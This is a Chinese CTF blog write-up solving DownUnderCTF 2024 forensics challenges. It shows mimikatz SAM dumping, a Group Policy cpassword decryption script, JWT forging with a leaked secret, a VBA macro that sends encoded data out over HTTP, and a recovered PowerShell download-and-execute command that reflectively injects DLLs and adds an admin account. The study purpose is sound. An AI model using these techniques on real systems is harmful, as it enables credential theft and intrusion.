DownUnderCTF 2024 - Forensics

DownUnderCTF 2024 - Forensics

Baby's First Forensics

他们整个上午都在试图破坏我们的基础设施!他们正试图获得更多关于我们秘密袋鼠的信息!我们需要您的帮助,我们已经捕获了一些他们攻击我们的流量,您能告诉我们他们使用的是什么工具及其版本吗?

注意:将您的答案包装在 DUCTF{} 中,例如 DUCTF{nmap_7.25}

附件:capture.pcap

image-20240707111653769

Nikto是一个网页服务器扫描器

DUCTF{Nikto_2.1.6}

SAM I AM

攻击者设法在我们的反叛者域控制器上获得了域管理员!看起来他们设法使用 WMI 使用帐户登录并转储了一些文件。
您能否重现他们如何使用提供的工件获得管理员密码?
将管理员帐户的密码放在 DUCTF{} 中,例如 DUCTF{password123!}

附件:samiam.zip

给了SAM和SYSTEM文件,要求得到管理员密码,自然可以想到用mimikatz

mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

mimikatz # lsadump::sam /sam:\sam.bak /system:\system.bak
Domain : DUCTF-AD
SysKey : a88f47504785ba029e8fa532c4c9e27b
Local SID : S-1-5-21-2461790198-1013503533-1008536141

SAMKey : 848804bda5d876ca7027beeee0efdd7c

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 476b4dddbbffde29e739b618580adb1e

RID  : 000001f5 (501)
User : Guest

去cmd5解hash:476b4dddbbffde29e739b618580adb1e,得到!checkerboard1

感觉小老外应该有可以查到的网站不用爆金币..

DUCTF{!checkerboard1}

Bad Policies

看起来攻击者设法访问了反叛分子的域控制器。
你能弄清楚他们是如何从我们的一台 Outpost 机器中提取这些文物后获得访问权限的吗?

附件:badpolicies.zip

参考:https://www.cnblogs.com/404p3rs0n/p/15675872.html

还原组策略中保存的密码

找到配置文件Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Backup" image="2" changed="2024-06-12 14:26:50" uid="{CE475804-94EA-4C12-8B2E-2B3FFF1A05C4}"><Properties action="U" newName="" fullName="" description="" cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Backup"/></User>
</Groups>

值得注意的是其中的cpassword项,保存的是加密后的内容:

B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2

加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥

image-20240707131153962

 4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
 f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

借助该私钥,我们就能还原出明文。

还原方式可采用Chris Campbell @obscuresec开源的powershell脚本Get-GPPPassword.ps1

项目地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Exfiltration

该脚本可在域内主机上执行,能够自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码

powershell -executionpolicy bypass -file Get-GPPPassword.ps1

这里只需要得到cpassword的值,可以直接利用如下代码进行解密

#!/usr/bin/python2
import sys
from Crypto.Cipher import AES
from base64 import b64decode

if(len(sys.argv) != 2):
  print "decrypt.py <cpassword>"
  sys.exit(0)

key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
out = AES.new(key, AES.MODE_CBC, "\x00" * 16)
out = out.decrypt(password)
print out[:-ord(out[-1])].decode('utf16')

image-20240707132653480

DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}

emuc2

与所有优秀的民族国家一样,我们有自己的恶意软件和 C2 用于进攻性操作。但是有人得到了源代码,并用它来对付我们!这是我们在一台笔记本电脑上发现的流量捕获......

附件:sslkeylogfile.txt 、challenge.pcap

根据sslkeylogfile,联想到TLS

外部应用程序可以通过 Key Log 解密 TLS 连接。Wireshark 1.6.0 及以上版本可以使用该日志文件解密数据包。通过 Wireshark -> Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log file,告诉 Wireshark 去哪里寻找 Key 文件。

image-20240707202016861

追踪TLS,在流34提到了JWT token可能待会用得到

PRI * HTTP/2.0

SM

..............d.....................................`u..h...A.......X..A-...G.lC.K..iy-"e^B.z...f.....S..j....5Ia.".g.M........
u.^E.1..l...).f..F..(7R......K..zJ.B%........*..(.3
....S.*/*..........................@....................................................N.h._..u.b
&=LtA.a..=.J..2.B...P,.m..eLZ7.@...Rd ...Vz.O_.5I-.BV!.=.....v..ru*.@....RKRVO....I.R?......@.......z.c...........O\.58..:......{"error":"Error validating JWT token - No token provided"}

在流23得到大段加密数据,很可疑,追踪HTTP2 流

image-20240707202723760

显示了一个 URL 路径 /api/env ,一会应该也能用到

image-20240707202827192

既然有http2了,都看一下

发现forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/login,用流量包内的用户密码登录

{"username": "jooospeh", "password": "n3v3r-g0nna-g1v3-th3-b1rds-up"}

image-20240707203306615

提示没有权限查看flag,那么要么是找到密码登录管理员用户,要么就是伪造管理员用户登录,想起最早看到的JWT token,考虑伪造

结合刚才找到的/api/env内的大量数据,随便访问一个看看,如

https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/env/kMyYN2gsez9DQqovBkX4KwxRgpOAbxgb

image-20240707203847513

那应该暗示其中的某个文件是有JWT token的,把刚才得到的路径保存

["YeIzRgKdWkx6EhyH8FPtQinoUI42yR7B","SENmvOvr1rC4BQQ7ugTi2Mht9UXUFQQH","3b2NQO9CM7ZinEyVNQkwkVx5r684TIwl","AbZ9FbNDzJ5ACbGKJ8ezjdod2Jr4x0iW","eWnjieXEMQ7Bj6tpLluchBBH7sDsCt3M","hLJh9TRNut3rSLWJQ6CsGs3OuNjmfYxb","M5ZU5KLyrjulq7QpLhKiJMwRrAMq3MZq","1awDrBxaMbwAhOcvfyntbliw3qanrSKT","FIJRM8kwWj1ye4JwPHg7IJg7PxJBtoXX","iu19ErtsjrQgTMohSnGJ46iMVai9ONOZ","2ervnWvp24g0pHZ81V3W9j2k0NmrkY1Z","T4yLN35GKLhxTgaykWxdgROCAwIBE3FO","HW8UkDvnQ8HFrTkyLHOIMMwywiTvCwfS","Cc5LKVk8n2N6F5BD9shXDlBX0NYG5RP3","YB64wqRiqblY7Bhk2z03bvwYLF9pk8o8","OxcOm5DyESp49smKwYmb6N9sr2yjZPv3","khmmeFNPFAhizYWKyvYMnLA7GVsJNvDt","Q3aoz6KBVGScMKS1Jfr6ewy9ix8q9elJ","jwbZUL8C5rj7DeuCEKZBGokgEh4ujMk1","LlqhKxf2yh8loi7ydfBBg18QKjDS33H0","kpSKlqhaNIL8g2EgACu3353i1p3Hh2CJ","n9tt6MNRJRoY8SIKqEoZnqxJpZmujQuR","1l4w5VOiIQ4pf7rid49GvvaXkhD5yIcw","ddl17btjos89HSpMlz4w1esNdp1BbPA7","jYyikfLWMl2nwZKLPZOI7yoX6Gsafj6Y","nx65kRioTaH87erafNtKaogarwPZYgn4","CU6ITn3A3r6PI089rdqbldt1MKSBOR8e","AYenVSd8ShOKt7in9tLAUTb1IPRminC4","BWO7KhzutnIAYRNdiUi6s4PMMheBFC4A","HlFqicDoJqA12cmHy8bnZd0GuSSqqL8q","8J71fW0218FzmBkF8ttefJrz7BpVtI8F","9QCWBIwQaNedL5NrTrymVUln0X9zDaPg","WbUwqhFlnuycALJgSSYb0VjeAgNtIhan","4GagZFf0emVWMqVZGuSQ0Wt3oesDqTId","hJgMfU0P4DZoXEQ3jPLmQqYrMcLL6tMq","Ie4Ct3weRbyqVZuU8D5WEJ9WzDaGkUeG","HBQW4v8Jx72LIeSA3gssnxODtUiR12iY","dlPoTSiQQhQW0LArsYjaXOlg5FhCECNX","1cLnEiDa0ZBFZMg0sRnB6uAGssFooEwd","h9ZZhUm8LRlXcTwSyPkhbyeH8WopzgK1","b6dQeUSvK6BaKu6hqGKjac1wljmECerf","vOW0m1zK5Ene3eEFxoYlGBDY6PhMG6Ug","4Hmer55iqHNq4fMbUgLTT96KDsceFHQz","TS9mqDcYUu9DUA1b9QoPqSeLMZFJNCKq","3zzwJVC13tWXVaBSwumerFZX10ZEwSx5","AL7Q1tqteIiAMoDAKLmx3PQ7uCtb1WCy","ggnR5ZzLSVr12T8k7cyRMAdlBuOLOQAr","w9SSZPc1qWUAGWE8pyLeB9XIRO79mzDs","u2YrePZCdoytCV6Eiund5dcubFdq2hPx","JShVnYgvoW5Lim3WL3qlqRMoTBGU4ATF","rnWQN9Hda8uDMoEqSdVGzvEtXuFJRZTT","u6dGg8b4YO8NylRJlTVnURjBxMlRmtVy","sD2esH8RTuqsD23PlfGCE0q5JdjnLb6t","ELfvFcLKnMyCwj7ruRbSkZKghcY4R2k6","xkzsLBLgP6dzDZYeiTzlwFpdsdS53fbg","L3VHzsrMHOPXtxfjsX9IEuMdWXiAN4lA","WGzrln1mR9mAgIYeCkkYZm5RIvdajkAi","9e1Y8jnY3j7Lkf8a03szPcqPqPDSGv6y","yTYSAZPsUbDCZbOg6XYBlFm7q6G4v3aq","rDmj6xnsGnm0MJQHvpuSbSXmkvanFQca","QFNahJX4von8pvpS5cy6bh2tyWGEcJwK","4LulvNMUoxwKcKXZm7DQxGOyZmUDAxn7","OiGiv5uCIyfNlTf0iePAiNe6lX3pVvJ7","nY8G2nYcKhvEJ5s2BD4SHECmTKKn1CSL","1K4qLxDn5gLF6gzcbetXP6HqGpghXmcI","4B4feCWkGFTlsoBI8Nxca380Xyv9sfA6","cDg0B5zh6q632VASxaeXNejqBABNFpWE","jZN0vVGts01Zr0xIJ6o2b6InEolghLr5","D8YzDAIwPFfLxwFcoCZSW02NzAoRM0lo","YCtiLWwcqptffHjTurKWv0zWlm87upmg","iSf2RPy3sdNeP6roA80UkxgqMrkOoXdf","nQD8z2wBoGOyIZ0311jUWAF0YlXsvg41","8ChT1ap67PVswJSBp6l7K8XLB8xlu89t","h83hTYu1lSFrhnMn1YrUxXdhRyy7lITP","oIjgXMJi0VvqTTvEY4G6ys7BjbQD9bpD","sd8CGK9j5eD0G8UUp0UkdgLc7tjxbkom","gSsaLGJVrbCvhXDa2tsgR9tZpzfd7gbS","GMBb01VPPfnMxJJTANYwfYnckBv0tB2w","JcMLJHRDcwmZ7T4OyoKZHg3A952Rbc3L","fLJBKWU3l5o7N1XxxVlG4JwyHCDqhJFY","ABgupVqa3fWHnbF6u4JH2tIzn4nuXf8e","1rJ4C9rcoWaW40fZEGA4vUY11azYLw04","aOLKa8rN9em0kQ0sfLeoRmVXY7L17Il1","6FND9ZASwt4GYHLuoCwFZ6JXYcYHuAh2","PqGpPjPKySbkf9tZkLS2X63xMHCwNUto","JOGVhN50FMGOUVZnkdDnlrO5OxA66hGA","II7JA9CiCbuvUwgxWP4j22iGBHzWg0SB","mQSKE3GIeUfYPgSF9zXKajKRRUCFyXPd"]

整理一下,抓包爆破。

本来以为都是假文件,报完看长度发现很多都有参数。搜索关键词JWT直接定位

image-20240707204845468

得到JWT

JWT_SECRET=3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi

生成新的JWT,data来源如下,就是刚才找到登录密码的流

image-20240707214935061

import time
import jwt

data = {"subject_id": 1, "exp": 1920187883}

JWT_SECRET = "3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi"

encoded = jwt.encode(data, JWT_SECRET, algorithm="HS512")
print(encoded)

在网页替换JWT令牌后

image-20240707210341720

得到flag

image-20240707212007921

DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}

Macro Magic

我们设法从我们的一台 Outpost 机器中提取了这个 excel 电子表格工件。它在引擎盖下发生了一些事情。打开后,我们发现并捕获了网络上的一些可疑流量。你能找出这个流量是什么并找到标志吗?
注意:您不需要运行或启用宏,因此请解决。

附件:macromagic.zip

提到了宏,而且提示不需要运行或启用宏。使用oledump.py分析,它可以不运行宏就能查看宏代码

项目地址:https://github.com/decalage2/oledump-contrib

需要配合 Python 模块OleFileIO_PL

pip install olefile

使用

┌──(root💀kali)-[~/桌面/oledump-contrib]
└─# python2 oledump.py ../Monke.xlsm
A: xl/vbaProject.bin
 A1:       515 'PROJECT'
 A2:       107 'PROJECTwm'
 A3: M   24526 'VBA/Module1'
 A4: m    1158 'VBA/Sheet1'
 A5: m     985 'VBA/Sheet2'
 A6: m    1158 'VBA/ThisWorkbook'
 A7:      4438 'VBA/_VBA_PROJECT'
 A8:      3276 'VBA/__SRP_0'
 A9:       239 'VBA/__SRP_1'
A10:       434 'VBA/__SRP_2'
A11:      3988 'VBA/__SRP_3'
A12:       384 'VBA/__SRP_4'
A13:        66 'VBA/__SRP_5'
A14:       276 'VBA/__SRP_6'
A15:        66 'VBA/__SRP_7'
A16:       602 'VBA/dir'

查找宏源码

python2 oledump.py -s A3 -v ../Monke.xlsm

-s 段号:选择上分析出的某一段来查看内容

-v :解压缩VBA宏

有很多假数据,如

MDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDA=

image-20240707191914073

还有一些解完是FAKEFLAG{DUCTF_Fake_Flag}等等,直接删去

处理完后得到以下代码

Attribute VB_Name = "Module1"

Public Function anotherThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    anotherThing = A
End Function

Public Function importantThing()
    Dim tempString As String
    Dim tempInteger As Integer
    Dim I As Integer
    Dim J As Integer
    For I = 1 To 5
        Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000)
    Next I
    For I = 1 To 5
        For J = I + 1 To 5
            If Cells(J, 2).Value < Cells(I, 2).Value Then
                tempString = Cells(I, 1).Value
                Cells(I, 1).Value = Cells(J, 1).Value
                Cells(J, 1).Value = tempString
                tempInteger = Cells(I, 2).Value
                Cells(I, 2).Value = Cells(J, 2).Value
                Cells(J, 2).Value = tempInteger
            End If
        Next J
    Next I
End Function

Public Function totalyFine(A As String) As String
    Dim B As String
    B = Replace(A, " ", "-")
    totalyFine = B
End Function

Sub macro1()
    Dim Path As String
    Dim wb As Workbook
    Dim A As String
    Dim B As String
    Dim C As String
    Dim D As String
    Dim E As String
    Dim F As String
    Dim G As String
    Dim H As String
    Dim J As String
    Dim K As String
    Dim L As String
    Dim M As String
    Dim N As String
    Dim O As String
    Dim P As String
    Dim Q As String
    Dim R As String
    Dim S As String
    Dim T As String
    Dim U As String
    Dim V As String
    Dim W As String
    Dim X As String
    Dim Y As String
    Dim Z As String
    Dim I As Long
    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    
End Sub

Public Function doThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    doThing = A
End Function

Public Function superThing(ByVal A As String) As String
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", A, False
        .Send
        superThing = StrConv(.responseBody, vbUnicode)
    End With
End Function

Public Function something(B As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(inputText)
        A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1)))
    Next I
    something = A
End Function

Public Function forensics(B As String) As String
    Dim A() As Byte
    Dim I As Integer
    Dim C As String
    A = StrConv(B, vbFromUnicode)
    For I = LBound(A) To UBound(A)
        C = C & CStr(A(I)) & " "
    Next I
    C = Trim(C)
    forensics = C
End Function

对代码主要部分的简要分析:

  1. 函数 anotherThingdoThing
    • 这两个函数执行相似的操作,即对两个字符串进行XOR操作。它们遍历第一个字符串的每个字符,将其ASCII值与第二个字符串中对应位置(循环使用第二个字符串)的字符的ASCII值进行XOR操作,然后将结果转换为字符并拼接起来。
  2. 函数 importantThing
    • 这个函数生成5个随机数,并将它们放在Excel工作表的第二列中。然后,它对这些随机数进行排序,并相应地调整第一列中的值。
  3. 函数 totalyFine
    • 这个函数将输入字符串中的所有空格替换为短划线(-)。
  4. 函数 superThing
    • 这个函数使用MSXML2.ServerXMLHTTP.6.0对象发送GET请求到指定的URL,并返回响应体的内容(转换为Unicode字符串)。
  5. 函数 something
    • 这个函数将输入字符串的每个字符的ASCII值转换为二进制字符串,并将这些二进制字符串拼接起来。
  6. 函数 forensics
    • 这个函数将输入字符串转换为Unicode字节数组,然后将每个字节转换为字符串并拼接起来,每个字节之间用空格分隔。
  7. 子程序 macro1
    • 这个子程序是代码的主要入口点。它调用上述函数来执行一系列操作,包括生成随机数、排序、替换字符串中的空格、发送HTTP请求、转换字符串等。它还打开一个名为“flag.xlsx”的工作簿,读取A1单元格的值,并显示一个消息框。最后,它使用这些值进行更多的字符串操作和HTTP请求。

让AI重构为python(文心一言的效果还挺好的)

import requests  
import os  
import random  
import openpyxl  
from openpyxl import Workbook  
  
def another_thing(b, c):  
    return ''.join(chr(ord(b[i]) ^ ord(c[(i - 1) % len(c)])) for i in range(len(b)))  
  
def important_thing():  
    wb = openpyxl.Workbook()  
    ws = wb.active  
    for i in range(1, 6):  
        ws[f'B{i}'] = random.randint(0, 1000)  
    values = [(ws[f'B{i}'].value, f'A{i}') for i in range(1, 6)]  
    values.sort()  
    for i, (val, cell) in enumerate(values):  
        ws[cell] = i + 1  
    wb.save('temp.xlsx')  
    return None  
  
def totaly_fine(a):  
    return a.replace(" ", "-")  
  
def do_thing(b, c):  
    return ''.join(chr(ord(b[i]) ^ ord(c[(i - 1) % len(c)])) for i in range(len(b)))  
  
def super_thing(a):  
    response = requests.get(a)  
    return response.text  
  
def something(b):  
    return ''.join(format(ord(c), 'b') for c in b)  
  
def forensics(b):  
    return ' '.join(str(byte) for byte in b.encode())  
  
def macro1():  
    important_thing()  
    k = "Yes"  
    s = "Mon"  
    u = forensics(k)  
    v = totaly_fine(u)  
    d = "Ma"  
    j = f"https://play.duc.tf/{v}"  
    super_thing(j)  
    j = "http://flag.com/"  
    super_thing(j)  
    g = "key"  
    j = "http://play.duc.tf/"  
    super_thing(j)  
    j = "http://en.wikipedia.org/wiki/Emu_War"  
    super_thing(j)  
    important_thing()  
    path = os.path.join(os.getcwd(), 'flag.xlsx')  
    wb = openpyxl.load_workbook(path)  
    value_a1 = wb.sheets[0]['A1'].value  
    print(value_a1)  
    wb.close()  
    f = "gic"  
    important_thing()  
    q = f"Flag: {value_a1}"  
    h = "Try Harder"  
    u = forensics(h)  
    v = totaly_fine(u)  
    j = f"http://downunderctf.com/{v}"  
    super_thing(j)  
    w = s + g + d + f  
    o = do_thing(q, w)  
    m = another_thing(o, w)  
    a = something(o)  
    z = forensics(o)  
    important_thing()  
    p = "Pterodactyl"  
    u = forensics(p)  
    v = totaly_fine(u)  
    j = f"http://play.duc.tf/{v}"  
    super_thing(j)  
    t = totaly_fine(z)  
    print(t)  
    j = f"http://downunderctf.com/{t}"  
    super_thing(j)  
    important_thing()  
    e = "Forensics"  
    u = forensics(e)  
    v = totaly_fine(u)  
    j = f"http://play.duc.tf/{v}"  
    super_thing(j)  
  
# Run the macro  
macro1()

python的可读性就更高了

    w = s + g + d + f  
    o = do_thing(q, w)  
    m = another_thing(o, w)  

很明显这一块是在做异或,w对应的应该就是xor key,回去找相应的数值

s = "Mon" 
g = "key"  
d = "Ma"
f = "gic"

得到key:MonkeyMagic,现在就差密文了

结合宏代码中的各种拼接URL,流量包就排上了用场

image-20240707194857872

https://downunderctf.com/84-114-121-32-72-97-114-100-101-114
https://play.duc.tf/80-116-101-114-111-100-97-99-116-121-108
https://downunderctf.com/11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80-19-1-60-12-38-49-9-28-38-0-81-9-2-80-52-28-19
https://play.duc.tf/70-111-114-101-110-115-105-99-115

试了一下,除了第三条,10进制转字符后分别是Try HarderPterodactylForensics

那么密文应该就是第三条了,长度也比较符合。

编写解密脚本

def decode(encoded, key):
    return ''.join(chr(encoded[i] ^ ord(key[(i) % len(key)])) for i in range(len(encoded)))

flag = [11, 3, 15, 12, 95, 89, 9, 52, 36, 61, 37, 54, 34, 90, 15, 86, 38, 26, 80, 19, 1, 60, 12, 38, 49, 9, 28, 38, 0, 81, 9, 2, 80, 52, 28, 19]
key = "MonkeyMagic"

decoded_message = decode(flag, key)
print(decoded_message)

运行得到 Flag: DUCTF{M4d3_W1th_AI_by_M0nk3ys}

Lost in Memory

看起来我们的一名鸸鹋士兵在 Outpost 机器上运行了一些东西,现在它正在做奇怪的事情。作为预防措施,我们采取了内存转储。你能告诉我们发生了什么吗?
这个挑战有四个部分,可以组合成最终的标志,每个答案 _ 之间。找到所有四个答案并将它们组合成所有小写字母的标志,例如 DUCTF{answer1_answer2_answer3_answer4}DUCTF{malicious.xlsm_invoke-mimikatz_malware.exe-malware2.exe_strong-password123}

  1. 恶意可执行文件的名称是什么? 例如malicious.xlsm
  2. 使用的 powershell 模块的名称是什么? 例如invoke-mimikatz
  3. 从恶意可执行文件执行的两个文件的名称是什么(按字母顺序,中间有 - 和没有空格)? 例如malware.exe-malware2.exe
  4. 通过 powershell 创建的新帐户的密码是什么? 例如strong-password123

附件:EMU-OUTPOST.zip

先查版本

python2 vol.py -f /root/桌面/EMU-OUTPOST.raw imageinfo

image-20240707220741453

python2 vol.py -f /root/桌面/EMU-OUTPOST.raw --profile=Win7SP1x86 cmdscan 

image-20240707220707444

在命令行看到可以文件名 monkey.doc.ps1,即为第一问的答案

继续往下翻还有

notepad.exe pid:   3048
Command line : "C:\Windows\System32\notepad.exe" "C:\Users\emu\Downloads\monkey.doc.ps1"

找到对应的进程号

python2 vol.py -f /root/桌面/EMU-OUTPOST.raw --profile=Win7SP1x86 pstree

Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
0x8439a030:notepad.exe                             4044   3176      3     78 2024-06-18 10:00:15 UTC+0000

把进程dump下来

python2 vol.py -f /root/桌面/EMU-OUTPOST.raw --profile=Win7SP1x86 memdump -p 4044 --dump-dir=/root/桌面

从刚才的命令分析来看monkey.doc.ps1是通过 powershell 执行的,查找关键词

strings ../../4044.dmp | grep "powershell" 
powershell.exe
powershell/
powershell.exe
powershell.exe
powershell.exe
powershell/
ly loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
ly loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
powershell $PKjAU=  ") )'dd'+'a/ n'+'i'+'mda'+' sro'+'t'+'artsinimda'+' p'+'uorglacol'+' te'+'n;d'+'d'+'a/ 3r'+'uce5-r3'+'pu'+'5'+' nimda resu '+'te'+'n'(( )'x'+]31[dIlLehs$+]1[diLLehs$ (."; .( $Env:CoMsPeC[4,24,25]-JOIn'')(-join (  gi  vaRiaBlE:pKjAU).valUe[-1 .. - ( (  gi  vaRiaBlE:pKjAU).valUe.leNgth) ] )
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
......

这段 PowerShell 脚本看起来是经过混淆的

问了下文心一言

分析变量赋值:首先,查看 $PKjAU 变量的赋值。注意字符串中的拼接模式,比如 'dd'+'a/' 实际上是 'dda/'

解码字符串:使用 PowerShell 来执行字符串解码。由于字符串是从后往前拼接的,你可能需要编写一个 PowerShell 脚本来逆序解码这个字符串。

image-20240707223449789

得到 5up3r-5ecur3,即为第四问的答案

现在只得到了第一问和第四问的答案

后面才发现,可以使用 vol2 中的控制台插件,因为它为每个命令提供了更详细的视图。

python2 vol.py -f /root/桌面/EMU-OUTPOST.raw --profile=Win7SP1x86 consoles 

image-20240707225229852

注意到在powershell有两个命令,去定位powershell的PID,有好几个,正确的是1136,如果提取2520的话会少一个dll

python2 vol.py -f /root/桌面/EMU-OUTPOST.raw --profile=Win7SP1x86 pslist

Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ---------
0x8449c528 powershell.exe         1136   3176     17      432      1      0 2024-06-18 10:01:08 UTC+0000
0x8452f600 powershell.exe         2520   1136     11      306      1      0 2024-06-18 10:01:35 UTC+0000 

取出powershell的进程

python2 vol.py -f /root/桌面/EMU-OUTPOST.raw --profile=Win7SP1x86 memdump -p 2520 --dump-dir=/root/桌面

转存为文本

strings ../../1136.dmp > ../../1136.txt

定位关键词New-Object

 {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/emu.dll};Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/kiwi.dll}

提到了Invoke-ReflectivePEInjection这表明整个攻击场景与反射性 DLL 注入有关

所以第二问答案为 Invoke-ReflectivePEInjection,第三问为emu.dll-kiwi.dll

完整flag:DUCTF{monkey.doc.ps1_invoke-reflectivepeinjection_emu.dll-kiwi.dll_5up3r-5ecur3}

总结

对我来说题目挺新颖的,趣味性兼并挑战性

学到了很多工具的使用以及一些细节性的取证分析手法

部分Writeups参考:

https://warlocksmurf.github.io/posts/ductf2024/

https://www.youtube.com/watch?v=86IwT9UDIsk

posted @ 2024-07-07 23:20  Mar10  阅读(45)  评论(0编辑  收藏  举报